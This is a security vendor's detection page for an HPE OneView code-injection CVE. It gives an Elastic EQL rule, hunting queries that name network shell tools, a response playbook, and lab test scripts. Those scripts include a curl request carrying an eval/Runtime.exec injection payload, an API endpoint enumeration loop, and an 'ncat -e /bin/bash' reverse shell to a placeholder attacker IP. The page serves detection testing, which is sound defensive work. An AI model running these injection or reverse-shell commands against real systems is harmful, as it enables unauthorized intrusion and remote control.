CVE-2025-37164 Elastic Security · Elastic

Detect HPE OneView Code Injection Exploitation (CVE-2025-37164) in Elastic Security

Detects exploitation of CVE-2025-37164, a code injection vulnerability (CWE-94) in Hewlett Packard Enterprise OneView. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog and allows attackers to inject and execute arbitrary code through the OneView management platform, potentially compromising datacenter infrastructure management.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=5m
  [process where event.type == "start"
    and process.name in ("java", "catalina.sh", "startup.sh")
    and process.command_line : ("*oneview*", "*hpov*", "*com.hp.ov*")]
  [process where event.type == "start"
    and process.parent.name in ("java", "sh", "bash")
    and process.name in ("bash", "sh", "python", "python3", "perl", "ruby", "curl", "wget", "nc", "ncat", "socat")]

OR

any where event.category == "network"
  and network.direction == "ingress"
  and destination.port in (443, 80, 8080, 8443)
  and http.request.method in ("POST", "PUT")
  and url.path : ("/rest/*", "/api/v*")
  and http.request.body.content : ("*eval(*", "*exec(*", "*Runtime.exec*", "*ProcessBuilder*", "*script*inject*")
critical severity medium confidence

Uses EQL sequence detection to identify process chains where OneView Java processes spawn unexpected shell or interpreter child processes, and monitors for HTTP POST/PUT requests to OneView REST API endpoints containing code injection patterns.

Data Sources

Elastic EndpointElastic AgentFilebeat (network logs)

Required Tables

logs-endpoint.events.process-*logs-endpoint.events.network-*filebeat-*

False Positives & Tuning

  • Authorized OneView automation scripts that legitimately spawn child processes
  • HPE support tools that execute shell commands through the OneView framework
  • Monitoring agents that interact with the OneView REST API using scripting languages
  • Load balancer health checks hitting OneView API endpoints

Other platforms for CVE-2025-37164

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1HPE OneView REST API Code Injection Simulation

    Expected signal: HTTP POST request to /rest/login-sessions with injection pattern in request body visible in web access logs; network flow from test host to OneView appliance on port 443

  2. Test 2Simulated Child Process Spawn from Java Context

    Expected signal: Process event showing java parent spawning /bin/bash child process; bash executing id, hostname, whoami commands

  3. Test 3OneView API Reconnaissance — Endpoint Enumeration

    Expected signal: Multiple HTTP GET requests to OneView API endpoints from a single source IP within a short timeframe; mix of 401, 403, and potentially 200 responses visible in access logs

  4. Test 4Reverse Shell Establishment Post-Injection Simulation

    Expected signal: Outbound TCP connection from OneView appliance or compromised host to attacker IP on non-standard port; ncat or bash process with network socket; network flow egress event

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the source IP and user account associated with the suspicious request or process event. Check if the source IP is external or an internal privileged host.
  2. Review HPE OneView application logs for the timeframe of the alert to identify the specific API endpoint targeted, the HTTP method used, and any request body content that may contain injection payloads.
  3. Determine the scope of access: check what OneView resources (server profiles, enclosures, networks, storage) the affected session had access to and whether any configuration changes were made.
  4. Verify whether the CVE-2025-37164 patch has been applied to the affected OneView appliance by checking the installed version against HPE security advisory hpesbgn04985en_us.
  5. Correlate with downstream infrastructure activity: if OneView was compromised, enumerate any server profiles or iLO connections that may have been manipulated.

Containment

  1. Immediately isolate the HPE OneView appliance from the network if active exploitation is confirmed, or restrict access to trusted management IP ranges at the firewall/ACL level while investigation proceeds.
  2. Revoke all active OneView session tokens and force re-authentication. Reset credentials for all service accounts with OneView API access, particularly those with Infrastructure Administrator or Server Administrator roles.
  3. Block the attacker's source IP at perimeter and internal network controls. If a reverse shell or C2 beacon was established, identify and block the outbound C2 destination.

Evidence Collection

  1. Collect and preserve HPE OneView appliance logs from /var/log/ or via the OneView REST API audit log endpoint (/rest/audit-logs) before any remediation or restart that might overwrite them.
  2. Capture memory dump and running process list from the OneView appliance VM if feasible, preserving evidence of any injected code or spawned processes.
  3. Export network flow logs and PCAP data covering the attack timeframe from the network segment hosting the OneView appliance to reconstruct the full attack chain.

Escalation Criteria

  • !Escalate to incident response if evidence of successful code execution is found (unexpected child processes, new user accounts, modified configuration, or outbound connections to unknown IPs from the OneView appliance).
  • !Escalate to infrastructure and data center operations teams if OneView server profiles, iLO credentials, or physical server configurations were accessed or modified, as this indicates potential lateral movement to managed infrastructure.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >HPE OneView audit logs at /rest/audit-logs showing API calls, authentication events, and configuration changes during the attack window
  • >Operating system process table and /proc filesystem entries on the OneView appliance VM showing unexpected child processes spawned from Java/Tomcat
  • >Network connection state (netstat/ss output) on the OneView appliance revealing any established outbound connections to attacker infrastructure
  • >OneView appliance filesystem changes in /opt/oneview or equivalent installation paths indicating dropped files or modified configuration
  • >Java heap dump or JVM thread dump if the injection exploits a live Java context, useful for identifying injected class definitions

Tuning Guidance

This detection may generate false positives in environments where HPE OneView is heavily automated via the REST API or where infrastructure-as-code tooling (Ansible, Terraform HPE providers) interacts with OneView. To reduce noise: (1) Build an allowlist of authorized management IPs and service account identifiers and exclude them from process-based detections. (2) For API-based detections, focus on POST/PUT requests with unexpected content-type headers or request body sizes outside the normal baseline. (3) Tune process-lineage rules by establishing a baseline of legitimate child processes spawned by the OneView JVM during normal operations and updates. (4) Consider time-based suppression during known maintenance windows when HPE support or update processes may trigger detections. The KEV status of this CVE means tuning should prioritize detection sensitivity over false positive reduction during the initial response period.

Hunting Queries

Hunt for reconnaissance or brute-force activity against HPE OneView REST API endpoints, which may indicate pre-exploitation enumeration for CVE-2025-37164 targeting.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceProduct has_any ("OneView", "HPE OneView") or DeviceVendor has "Hewlett"
| where Message has_any ("401", "403", "500")
| summarize FailureCount=count(), UniqueEndpoints=dcount(RequestURL) by SourceIP, bin(TimeGenerated, 1h)
| where FailureCount > 20 or UniqueEndpoints > 10
| order by FailureCount desc
Hunting — SPL
spl 
index=* (sourcetype=hpe_oneview OR "OneView" OR "hpesbgn04985")
| eval hour=strftime(_time, "%Y-%m-%d %H:00")
| stats count as requests, dc(uri_path) as unique_paths, dc(src_ip) as unique_ips by hour
| where requests > 100 or unique_paths > 50
| sort - requests

Hunt for Java process lineage anomalies on systems hosting HPE OneView, identifying cases where the OneView JVM spawned unexpected shell or network utility processes consistent with code injection post-exploitation.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessFileName =~ "java"
| where FileName in~ ("bash", "sh", "python", "python3", "curl", "wget", "nc", "ncat")
| summarize SpawnCount=count(), Commands=make_set(ProcessCommandLine, 20) by DeviceName, InitiatingProcessCommandLine, bin(TimeGenerated, 1h)
| where SpawnCount > 0
| order by SpawnCount desc
Hunting — SPL
spl 
index=* sourcetype=syslog ("java" OR "tomcat" OR "catalina")
| rex field=_raw "\bPPID=(?<ppid>\d+)\b.*\bCMD=(?<cmd>[^\n]+)"
| where match(cmd, "(?i)(bash|/bin/sh|python|perl|curl|wget|nc )")
| stats count by host, ppid, cmd
| sort - count

Atomic Red Team Tests

Test 1 HPE OneView REST API Code Injection Simulation
linux

Simulates an attacker sending a crafted POST request to the HPE OneView REST API with a code injection payload in the request body. This tests whether security controls detect malicious API requests targeting the OneView management interface.

Command

bash 
# Lab environment only — requires OneView test appliance
# Simulate injection attempt via REST API
curl -k -s -X POST \
  -H 'Content-Type: application/json' \
  -H 'X-API-Version: 800' \
  -d '{"type":"LoginSessionV4","userName":"Administrator","password":"test","authLoginDomain":"LOCAL","injectionTest":"eval(Runtime.getRuntime().exec(new String[]{\"id\"}))"}'  \
  https://ONEVIEW_LAB_HOST/rest/login-sessions \
  -o /tmp/oneview_response.json 2>&1
echo "Response captured to /tmp/oneview_response.json"

Cleanup

bash 
rm -f /tmp/oneview_response.json

Expected Telemetry

HTTP POST request to /rest/login-sessions with injection pattern in request body visible in web access logs; network flow from test host to OneView appliance on port 443

Expected Detection

SPL inbound_exploit flag triggered; KQL CommonSecurityLog event with injection pattern; Sumo Logic has_injection=1 on API endpoint

Test 2 Simulated Child Process Spawn from Java Context
linux

Simulates post-exploitation behavior where injected code in a Java application spawns a shell process, mimicking what an attacker would achieve after successful OneView code injection.

Command

bash 
# Lab only — simulates Java spawning shell as would occur post-exploitation
# Create a test Java program that spawns a shell command
cat > /tmp/TestInjection.java << 'EOF'
import java.io.*;
public class TestInjection {
  public static void main(String[] args) throws Exception {
    System.out.println("Simulating code injection child process spawn");
    ProcessBuilder pb = new ProcessBuilder("/bin/bash", "-c", "id && hostname && whoami");
    pb.redirectErrorStream(true);
    Process p = pb.start();
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) System.out.println(line);
    p.waitFor();
  }
}
EOF
javac /tmp/TestInjection.java -d /tmp/ && java -cp /tmp TestInjection

Cleanup

bash 
rm -f /tmp/TestInjection.java /tmp/TestInjection.class

Expected Telemetry

Process event showing java parent spawning /bin/bash child process; bash executing id, hostname, whoami commands

Expected Detection

KQL DeviceProcessEvents child_proc_spawn detection; CrowdStrike ProcessRollup2 alert on Java spawning bash; EQL sequence match on Java->bash chain

Test 3 OneView API Reconnaissance — Endpoint Enumeration
linux

Simulates attacker reconnaissance of HPE OneView REST API endpoints prior to exploitation, generating the HTTP error patterns (401/403/500) that precede CVE-2025-37164 exploitation attempts.

Command

bash 
# Lab only — enumerate publicly documented OneView API endpoints
ONEVIEW_HOST="ONEVIEW_LAB_HOST"
for endpoint in "/rest/version" "/rest/server-hardware" "/rest/server-profiles" "/rest/enclosures" "/rest/network-sets" "/rest/users" "/rest/roles" "/rest/audit-logs" "/rest/appliance/configuration" "/api/v1/scripts"; do
  status=$(curl -k -s -o /dev/null -w "%{http_code}" -H 'X-API-Version: 800' "https://${ONEVIEW_HOST}${endpoint}")
  echo "${endpoint}: HTTP ${status}"
  sleep 0.5
done

Cleanup

bash 
# No cleanup needed — only outbound HTTP requests

Expected Telemetry

Multiple HTTP GET requests to OneView API endpoints from a single source IP within a short timeframe; mix of 401, 403, and potentially 200 responses visible in access logs

Expected Detection

KQL hunting query for high failure counts per source IP; SPL anomaly detection on unique endpoint count; QRadar reconnaissance pattern detection

Test 4 Reverse Shell Establishment Post-Injection Simulation
linux

Simulates the post-exploitation phase where an attacker uses the code injection vulnerability to establish a reverse shell connection back to attacker-controlled infrastructure. Lab use only with controlled listener.

Command

bash 
# Lab only — requires controlled listener on ATTACKER_IP:ATTACKER_PORT
# This simulates what injected code would execute
ATTACKER_IP="192.168.100.100"  # Lab attacker machine
ATTACKER_PORT="4444"
echo "[SIM] Simulating reverse shell connection to ${ATTACKER_IP}:${ATTACKER_PORT}"
# Use ncat if available, otherwise demonstrate with curl
if command -v ncat &>/dev/null; then
  timeout 5 ncat ${ATTACKER_IP} ${ATTACKER_PORT} -e /bin/bash 2>/dev/null || echo "[SIM] Connection attempt completed (timeout or refused expected in lab)"
else
  curl -s --max-time 5 http://${ATTACKER_IP}:${ATTACKER_PORT}/beacon 2>/dev/null || echo "[SIM] HTTP beacon attempt completed"
fi
echo "[SIM] Reverse shell simulation complete"

Cleanup

bash 
# Kill any lingering ncat processes
pkill -f "ncat 192.168.100.100" 2>/dev/null; true

Expected Telemetry

Outbound TCP connection from OneView appliance or compromised host to attacker IP on non-standard port; ncat or bash process with network socket; network flow egress event

Expected Detection

CrowdStrike NetworkConnectIP4 alert on unexpected outbound connection; KQL DeviceNetworkEvents for unusual outbound from Java-related process; Elastic EQL network event from suspicious process lineage

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1210Exploitation of Remote ServicesT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections